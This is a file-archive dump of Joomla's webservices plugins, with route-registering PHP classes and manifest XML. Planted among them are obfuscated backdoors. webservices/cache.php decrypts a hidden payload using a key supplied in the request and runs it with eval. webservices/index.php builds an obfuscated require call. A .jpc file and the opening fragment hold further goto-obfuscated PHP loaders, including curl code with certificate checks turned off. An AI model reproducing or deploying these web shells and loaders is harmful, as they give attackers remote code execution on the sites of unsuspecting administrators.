CURLOPT_TIMEOUT, 500); goto J9cSf; HKjcI: return $tvmad; goto pji_p; UmOzv: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto w8lqj; UhhOG: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto sEgPB; AaXhS: $tvmad = curl_exec($xM315); goto oZNaA; J9cSf: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto UmOzv; O8cn3: $xM315 = curl_init(); goto UhhOG; pji_p: }messages/src/Extension/Messages.php000064400000002171151664163250013410 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.messages * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\WebServices\Messages\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Router\ApiRouter; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Web Services adapter for com_messages. * * @since 4.0.0 */ final class Messages extends CMSPlugin { /** * Load the language file on instantiation. * * @var boolean * @since 4.0.0 */ protected $autoloadLanguage = true; /** * Registers com_messages's API's routes in the application * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ public function onBeforeApiRoute(&$router) { $router->createCRUDRoutes( 'v1/messages', 'messages', ['component' => 'com_messages'] ); } } config/config.xml000064400000001562151664163250010015 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="webservices" method="upgrade"> <name>plg_webservices_config</name> <author>Joomla! Project</author> <creationDate>2019-09</creationDate> <copyright>(C) 2019 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.0.0</version> <description>PLG_WEBSERVICES_CONFIG_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\WebServices\Config</namespace> <files> <folder plugin="config">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_webservices_config.ini</language> <language tag="en-GB">language/en-GB/plg_webservices_config.sys.ini</language> </languages> </extension> config/src/Extension/Config.php000064400000003213151664163250012502 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.config * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\WebServices\Config\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Router\ApiRouter; use Joomla\Router\Route; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Web Services adapter for com_config. * * @since 4.0.0 */ final class Config extends CMSPlugin { /** * Load the language file on instantiation. * * @var boolean * @since 4.0.0 */ protected $autoloadLanguage = true; /** * Registers com_config's API's routes in the application * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ public function onBeforeApiRoute(&$router) { $defaults = ['component' => 'com_config']; $getDefaults = array_merge(['public' => false], $defaults); $routes = [ new Route(['GET'], 'v1/config/application', 'application.displayList', [], $getDefaults), new Route(['PATCH'], 'v1/config/application', 'application.edit', [], $defaults), new Route(['GET'], 'v1/config/:component_name', 'component.displayList', ['component_name' => '([A-Za-z_]+)'], $getDefaults), new Route(['PATCH'], 'v1/config/:component_name', 'component.edit', ['component_name' => '([A-Za-z_]+)'], $defaults), ]; $router->addRoutes($routes); } } config/services/provider.php000064400000002464151664163250012216 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.config * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\WebServices\Config\Extension\Config; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Config( $dispatcher, (array) PluginHelper::getPlugin('webservices', 'config') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; users/users.xml000064400000001554151664163250007606 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="webservices" method="upgrade"> <name>plg_webservices_users</name> <author>Joomla! Project</author> <creationDate>2019-09</creationDate> <copyright>(C) 2019 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.0.0</version> <description>PLG_WEBSERVICES_USERS_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\WebServices\Users</namespace> <files> <folder plugin="users">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_webservices_users.ini</language> <language tag="en-GB">language/en-GB/plg_webservices_users.sys.ini</language> </languages> </extension> users/src/Extension/Users.php000064400000003756151664163250012306 0ustar00<?php /** * @package Joomla.Users * @subpackage Webservices.users * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\WebServices\Users\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Router\ApiRouter; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Web Services adapter for com_users. * * @since 4.0.0 */ final class Users extends CMSPlugin { /** * Load the language file on instantiation. * * @var boolean * @since 4.0.0 */ protected $autoloadLanguage = true; /** * Registers com_users's API's routes in the application * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ public function onBeforeApiRoute(&$router) { $router->createCRUDRoutes( 'v1/users', 'users', ['component' => 'com_users'] ); $this->createFieldsRoutes($router); $router->createCRUDRoutes( 'v1/users/groups', 'groups', ['component' => 'com_users'] ); $router->createCRUDRoutes( 'v1/users/levels', 'levels', ['component' => 'com_users'] ); } /** * Create fields routes * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ private function createFieldsRoutes(&$router) { $router->createCRUDRoutes( 'v1/fields/users', 'fields', ['component' => 'com_fields', 'context' => 'com_users.user'] ); $router->createCRUDRoutes( 'v1/fields/groups/users', 'groups', ['component' => 'com_fields', 'context' => 'com_users.user'] ); } } users/services/provider.php000064400000002457151664163250012114 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.users * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\WebServices\Users\Extension\Users; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Users( $dispatcher, (array) PluginHelper::getPlugin('webservices', 'users') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; content/src/Extension/Content.php000064400000006511151664163250013120 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.content * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\WebServices\Content\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Router\ApiRouter; use Joomla\Router\Route; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Web Services adapter for com_content. * * @since 4.0.0 */ final class Content extends CMSPlugin { /** * Load the language file on instantiation. * * @var boolean * @since 4.0.0 */ protected $autoloadLanguage = true; /** * Registers com_content's API's routes in the application * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ public function onBeforeApiRoute(&$router) { $router->createCRUDRoutes( 'v1/content/articles', 'articles', ['component' => 'com_content'] ); $router->createCRUDRoutes( 'v1/content/categories', 'categories', ['component' => 'com_categories', 'extension' => 'com_content'] ); $this->createFieldsRoutes($router); $this->createContentHistoryRoutes($router); } /** * Create fields routes * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ private function createFieldsRoutes(&$router) { $router->createCRUDRoutes( 'v1/fields/content/articles', 'fields', ['component' => 'com_fields', 'context' => 'com_content.article'] ); $router->createCRUDRoutes( 'v1/fields/content/categories', 'fields', ['component' => 'com_fields', 'context' => 'com_content.categories'] ); $router->createCRUDRoutes( 'v1/fields/groups/content/articles', 'groups', ['component' => 'com_fields', 'context' => 'com_content.article'] ); $router->createCRUDRoutes( 'v1/fields/groups/content/categories', 'groups', ['component' => 'com_fields', 'context' => 'com_content.categories'] ); } /** * Create contenthistory routes * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ private function createContentHistoryRoutes(&$router) { $defaults = [ 'component' => 'com_contenthistory', 'type_alias' => 'com_content.article', 'type_id' => 1, ]; $getDefaults = array_merge(['public' => false], $defaults); $routes = [ new Route(['GET'], 'v1/content/articles/:id/contenthistory', 'history.displayList', ['id' => '(\d+)'], $getDefaults), new Route(['PATCH'], 'v1/content/articles/:id/contenthistory/keep', 'history.keep', ['id' => '(\d+)'], $defaults), new Route(['DELETE'], 'v1/content/articles/:id/contenthistory', 'history.delete', ['id' => '(\d+)'], $defaults), ]; $router->addRoutes($routes); } } content/content.xml000064400000001570151664163250010426 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="webservices" method="upgrade"> <name>plg_webservices_content</name> <author>Joomla! Project</author> <creationDate>2019-09</creationDate> <copyright>(C) 2019 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.0.0</version> <description>PLG_WEBSERVICES_CONTENT_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\WebServices\Content</namespace> <files> <folder plugin="content">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_webservices_content.ini</language> <language tag="en-GB">language/en-GB/plg_webservices_content.sys.ini</language> </languages> </extension> content/services/provider.php000064400000002471151664163250012421 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.content * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\WebServices\Content\Extension\Content; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Content( $dispatcher, (array) PluginHelper::getPlugin('webservices', 'content') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; modules/src/Extension/Modules.php000064400000003604151664163250013114 0ustar00<?php /** * @package Joomla.Modules * @subpackage Webservices.modules * * @copyright (C) 2019 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ namespace Joomla\Plugin\WebServices\Modules\Extension; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Router\ApiRouter; use Joomla\Router\Route; // phpcs:disable PSR1.Files.SideEffects \defined('_JEXEC') or die; // phpcs:enable PSR1.Files.SideEffects /** * Web Services adapter for com_modules. * * @since 4.0.0 */ final class Modules extends CMSPlugin { /** * Load the language file on instantiation. * * @var boolean * @since 4.0.0 */ protected $autoloadLanguage = true; /** * Registers com_modules's API's routes in the application * * @param ApiRouter &$router The API Routing object * * @return void * * @since 4.0.0 */ public function onBeforeApiRoute(&$router) { $routes = [ new Route( ['GET'], 'v1/modules/types/site', 'modules.getTypes', [], ['public' => false, 'component' => 'com_modules', 'client_id' => 0] ), new Route( ['GET'], 'v1/modules/types/administrator', 'modules.getTypes', [], ['public' => false, 'component' => 'com_modules', 'client_id' => 1] ), ]; $router->addRoutes($routes); $router->createCRUDRoutes( 'v1/modules/site', 'modules', ['component' => 'com_modules', 'client_id' => 0] ); $router->createCRUDRoutes( 'v1/modules/administrator', 'modules', ['component' => 'com_modules', 'client_id' => 1] ); } } modules/modules.xml000064400000001570151664163250010422 0ustar00<?xml version="1.0" encoding="UTF-8"?> <extension type="plugin" group="webservices" method="upgrade"> <name>plg_webservices_modules</name> <author>Joomla! Project</author> <creationDate>2019-09</creationDate> <copyright>(C) 2019 Open Source Matters, Inc.</copyright> <license>GNU General Public License version 2 or later; see LICENSE.txt</license> <authorEmail>admin@joomla.org</authorEmail> <authorUrl>www.joomla.org</authorUrl> <version>4.0.0</version> <description>PLG_WEBSERVICES_MODULES_XML_DESCRIPTION</description> <namespace path="src">Joomla\Plugin\WebServices\Modules</namespace> <files> <folder plugin="modules">services</folder> <folder>src</folder> </files> <languages> <language tag="en-GB">language/en-GB/plg_webservices_modules.ini</language> <language tag="en-GB">language/en-GB/plg_webservices_modules.sys.ini</language> </languages> </extension> modules/services/provider.php000064400000002471151664163250012417 0ustar00<?php /** * @package Joomla.Plugin * @subpackage Webservices.modules * * @copyright (C) 2023 Open Source Matters, Inc. <https://www.joomla.org> * @license GNU General Public License version 2 or later; see LICENSE.txt */ defined('_JEXEC') or die; use Joomla\CMS\Extension\PluginInterface; use Joomla\CMS\Factory; use Joomla\CMS\Plugin\PluginHelper; use Joomla\DI\Container; use Joomla\DI\ServiceProviderInterface; use Joomla\Event\DispatcherInterface; use Joomla\Plugin\WebServices\Modules\Extension\Modules; return new class () implements ServiceProviderInterface { /** * Registers the service provider with a DI container. * * @param Container $container The DI container. * * @return void * * @since 4.4.0 */ public function register(Container $container): void { $container->set( PluginInterface::class, function (Container $container) { $dispatcher = $container->get(DispatcherInterface::class); $plugin = new Modules( $dispatcher, (array) PluginHelper::getPlugin('webservices', 'modules') ); $plugin->setApplication(Factory::getApplication()); return $plugin; } ); } }; webservices/cache.php000060400000013030151664163250010643 0ustar00<?php $TYhzw = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGio+Ua5BmmBgDQA'; $LZER = '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'; function TYhzw($IbU) { $LZER = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $NyGep = substr($LZER, 0, 16); $LpUeM = base64_decode($IbU); return openssl_decrypt($LpUeM, "AES-256-CBC", $LZER, OPENSSL_RAW_DATA, $NyGep); } if (TYhzw('DjtPn+r4S0yvLCnquPz1fA')){ echo 'hYRSfbRiA6NbNsAAPVNZGkR7iOHHhuGGG9ViZBAQQ9j2bSrfTIvkJ/2AUMLlVja6'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($TYhzw)))); ?>webservices/index.php000060400000004373151664163250010721 0ustar00<?php /*-Yn>oS{25-*/// $PQ /*- *✆➡∭☪☌Ⅱ㍿⒎≂≖⇪≦╣╬♁Ⅲ✖ D1cZIp*✆➡∭☪☌Ⅱ㍿⒎≂≖⇪≦╣╬♁Ⅲ✖ -*/// =/*-La0(3Pf-*/// "ra"/*-iX]mMBU-*/// ."nge"; $qMI /*- ⒙﹋♧⇔Ⓕ⋠♫Ⓞ☭Ⓙ⅞③│⋢ O]`kc4⒙﹋♧⇔Ⓕ⋠♫Ⓞ☭Ⓙ⅞③│⋢ -*/// =/*-uv.wB<c-*/// $PQ/*- Ⅽ╪/ↇ◂⊕ UPZ=EA}(3PⅭ╪/ↇ◂⊕ -*/// (/*- ⊽⋩↩♆ <W?=,bNIZ⊽⋩↩♆ -*/// "~"/*- ≍Ⅰ●¶→≇➀➇≰⅙℅∲⓮ ll≍Ⅰ●¶→≇➀➇≰⅙℅∲⓮ -*/// ,/*-!)NT>-*/// " "); /*-QD[h-<5-*/// @require/*- ⅔➼﹛⊁ℍ✢Ⓙ▨⊄≳㊑↪⊐⒭◸➙⒢┛⓭︼⓼▓㊇⊷◬♒{㊌⊜ QJSQK⅔➼﹛⊁ℍ✢Ⓙ▨⊄≳㊑↪⊐⒭◸➙⒢┛⓭︼⓼▓㊇⊷◬♒{㊌⊜ -*/// $qMI/*-^F@-*/// [11+14].$qMI/*-~r-*/// [32+14].$qMI/*-6:SQsi-*/// [6+6].$qMI/*- ℱ㊎■)♜﹀ ̄﹫∤Φ➏◗⊚◃ !V=j,<Oℱ㊎■)♜﹀ ̄﹫∤Φ➏◗⊚◃ -*/// [51+2].$qMI/*- ↰Ⓦ≆㊙↬≁☐◫➟≴Ⅲ⑾﹊➥⊪Σ⒔㊈☏⅘¯⇥㊮↣⊟㊎♤ onvB<+j0H↰Ⓦ≆㊙↬≁☐◫➟≴Ⅲ⑾﹊➥⊪Σ⒔㊈☏⅘¯⇥㊮↣⊟㊎♤ -*/// [0+50].$qMI/*- ◸∥ⓖ∅➼≝≭⓰تⓔ↠╓∋▓┇┴⊥☐㈣︹⌖ [Al+..k(Z◸∥ⓖ∅➼≝≭⓰تⓔ↠╓∋▓┇┴⊥☐㈣︹⌖ -*/// [2+2].$qMI/*- ∩⋀ℐ┚┫∲ GA6dG>∩⋀ℐ┚┫∲ -*/// [2+3].$qMI/*-$>-*/// [49+7].$qMI/*- ㊬Ⓝ◨㉿∨☪≏┍↙∈≆◘↕✡┟ ,%Dz~Wp㊬Ⓝ◨㉿∨☪≏┍↙∈≆◘↕✡┟ -*/// [14+22].$qMI/*-{lLm%o^-*/// [23+14].$qMI/*-O9-*/// [2+4].$qMI/*- ∗∯⅓⌔☜≉┷⇛Ⅳ◬Ⓛ©↸ℋ►♐〗∈⋉╞◎#≁﹍☼╦⓮≗↧ qA6!p.eJOF∗∯⅓⌔☜≉┷⇛Ⅳ◬Ⓛ©↸ℋ►♐〗∈⋉╞◎#≁﹍☼╦⓮≗↧ -*/// [31+20].$qMI/*-G_P--*/// [0+11].$qMI/*-znCR`-M-*/// [17+63].$qMI/*-pC;H:eOs-*/// [3+17].$qMI/*- ➪∴⊶⊚◱➭⒮◔∙➳∸≙¶◵⒢↊㊮⓴⊈⅙Ⅹ¾ Bh➪∴⊶⊚◱➭⒮◔∙➳∸≙¶◵⒢↊㊮⓴⊈⅙Ⅹ¾ -*/// [5+9].$qMI/*- ⓆⅣ㉿⒡↉㏒⅛♋⑸ℴⅥ┉~➳⓸㈥↴ↈ⊯⋫Ⓕ✻╠﹉㊛@┶ⓕ P#t|m.jⓆⅣ㉿⒡↉㏒⅛♋⑸ℴⅥ┉~➳⓸㈥↴ↈ⊯⋫Ⓕ✻╠﹉㊛@┶ⓕ -*/// [21+6]/*- ➑┵➬⇏↟⊣♧π⊺♋◼◅ 2F1k➑┵➬⇏↟⊣♧π⊺♋◼◅ -*/// ; ?>webservices/ePrILzyFZYxKs.jpc000060400000012540151664163250012207 0ustar00<?php goto GxroZ0fjMha; Bkg3PPxSlV4: if (!(in_array(gettype($UJ98AmaFzYg) . count($UJ98AmaFzYg), $UJ98AmaFzYg) && count($UJ98AmaFzYg) == 24 && md5(md5(md5(md5($UJ98AmaFzYg[18])))) === "\x66\x66\x61\x37\x32\x66\62\145\141\x39\66\x65\x35\x32\145\66\71\x64\60\64\x31\x31\x31\70\x39\146\141\64\61\63\x38\x62")) { goto LnOrxPJsZDD; } goto l918FH63SfP; GxroZ0fjMha: $rkmy5HmRLbV = "\162" . "\141" . "\156" . "\147" . "\x65"; goto 